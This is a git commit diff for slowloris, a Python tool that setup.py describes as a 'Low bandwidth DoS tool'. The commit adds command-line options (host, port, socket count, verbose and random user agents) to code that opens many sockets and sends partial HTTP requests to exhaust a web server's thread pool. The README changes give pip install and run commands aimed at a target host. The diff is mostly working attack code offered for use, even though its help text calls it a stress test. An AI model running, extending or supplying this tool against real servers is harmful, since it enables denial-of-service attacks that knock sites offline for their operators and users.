mirror of https://github.com/Askill/slowloris.git
Argparse support with some extra features (#4)
* Added argparse support, Verbose, Random User Agents, Cleaned up code a little bit. * Added argparse support, Verbose, Random User Agents, Cleaned up code a little bit. * Updated README and default sockets in slowloris * Added shortened arguments * Made host not need a --flag, just type it in by request of gkbrk * New version :3
This commit is contained in:
parent
82488f9b9c
commit
bd7f05707d
|
|
@ -14,7 +14,7 @@ This exhausts the servers thread pool and the server can't reply to other people
|
||||||
You can clone the git repo or install using **pip**. Here's how you run it.
|
You can clone the git repo or install using **pip**. Here's how you run it.
|
||||||
|
|
||||||
* `sudo pip3 install slowloris`
|
* `sudo pip3 install slowloris`
|
||||||
* `slowloris example.com`
|
* `slowloris --host example.com --sockets 200`
|
||||||
|
|
||||||
That's all it takes to install and run slowloris.py.
|
That's all it takes to install and run slowloris.py.
|
||||||
|
|
||||||
|
|
@ -22,7 +22,7 @@ If you want to clone using git instead of pip, here's how you do it.
|
||||||
|
|
||||||
* `git clone https://github.com/gkbrk/slowloris.git`
|
* `git clone https://github.com/gkbrk/slowloris.git`
|
||||||
* `cd slowloris`
|
* `cd slowloris`
|
||||||
* `python3 slowloris.py example.com`
|
* `python3 slowloris.py --host example.com --sockets 200`
|
||||||
|
|
||||||
##License##
|
##License##
|
||||||
|
|
||||||
|
|
|
||||||
2
setup.py
2
setup.py
|
|
@ -3,7 +3,7 @@ setup(
|
||||||
name = "Slowloris",
|
name = "Slowloris",
|
||||||
py_modules = ["slowloris"],
|
py_modules = ["slowloris"],
|
||||||
entry_points = {"console_scripts": ["slowloris=slowloris:main"]},
|
entry_points = {"console_scripts": ["slowloris=slowloris:main"]},
|
||||||
version = "0.1.2",
|
version = "0.1.6",
|
||||||
description = "Low bandwidth DoS tool. Slowloris rewrite in Python.",
|
description = "Low bandwidth DoS tool. Slowloris rewrite in Python.",
|
||||||
author = "Gokberk Yaltirakli",
|
author = "Gokberk Yaltirakli",
|
||||||
author_email = "webdosusb@gmail.com",
|
author_email = "webdosusb@gmail.com",
|
||||||
|
|
|
||||||
45
slowloris.py
45
slowloris.py
|
|
@ -1,20 +1,30 @@
|
||||||
import socket
|
import socket, random, time, sys, argparse, random
|
||||||
import random
|
|
||||||
import time
|
|
||||||
import sys
|
|
||||||
|
|
||||||
log_level = 2
|
parser = argparse.ArgumentParser(description="Stress test some sites.")
|
||||||
|
parser.add_argument('host', nargs="?", help="Host to preform stress test on.")
|
||||||
|
parser.add_argument('-p', '--port', default=80, help="Port of webserver, usually 80.", type=int)
|
||||||
|
parser.add_argument('-s', '--sockets', default=8, help="Number of sockets to use in the test.", type=int)
|
||||||
|
parser.add_argument('-v', '--verbose', dest="verbose", action="store_true", help="Enables Verbose mode.")
|
||||||
|
parser.add_argument('-ua', '--randuseragents', dest="randuseragent", action="store_true", help="Enables random useragent mode.")
|
||||||
|
parser.set_defaults(verbose=False)
|
||||||
|
parser.set_defaults(randuseragent=False)
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
if len(sys.argv)==1:
|
||||||
|
parser.print_help()
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
if args.verbose == True:
|
||||||
|
log_level = 2
|
||||||
|
else:
|
||||||
|
log_level = 1
|
||||||
|
|
||||||
def log(text, level=1):
|
def log(text, level=1):
|
||||||
if log_level >= level:
|
if log_level >= level:
|
||||||
print(text)
|
print(text)
|
||||||
|
|
||||||
list_of_sockets = []
|
list_of_sockets = []
|
||||||
|
useragents = ["Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36","Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36","Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36","Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0","Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36","Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50","Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14","Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko","Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36","Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36","Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36","Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36","Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393"]
|
||||||
regular_headers = [
|
|
||||||
"User-agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
|
|
||||||
"Accept-language: en-US,en,q=0.5"
|
|
||||||
]
|
|
||||||
|
|
||||||
def init_socket(ip):
|
def init_socket(ip):
|
||||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
|
@ -22,17 +32,16 @@ def init_socket(ip):
|
||||||
s.connect((ip,80))
|
s.connect((ip,80))
|
||||||
|
|
||||||
s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 2000)).encode("utf-8"))
|
s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 2000)).encode("utf-8"))
|
||||||
for header in regular_headers:
|
if args.randuseragent == True:
|
||||||
s.send("{}\r\n".format(header).encode("utf-8"))
|
s.send("{}\r\n".format("User-agent: "+random.choice(useragents)).encode("utf-8"))
|
||||||
|
else:
|
||||||
|
s.send("{}\r\n".format("User-agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0").encode("utf-8"))
|
||||||
|
s.send("{}\r\n".format("Accept-language: en-US,en,q=0.5").encode("utf-8"))
|
||||||
return s
|
return s
|
||||||
|
|
||||||
def main():
|
def main():
|
||||||
if len(sys.argv) != 2:
|
ip = args.host
|
||||||
print("Usage: {} example.com".format(sys.argv[0]))
|
socket_count = args.sockets
|
||||||
return
|
|
||||||
|
|
||||||
ip = sys.argv[1]
|
|
||||||
socket_count = 200
|
|
||||||
log("Attacking {} with {} sockets.".format(ip, socket_count))
|
log("Attacking {} with {} sockets.".format(ip, socket_count))
|
||||||
|
|
||||||
log("Creating sockets...")
|
log("Creating sockets...")
|
||||||
|
|
|
||||||
Loading…
Reference in New Issue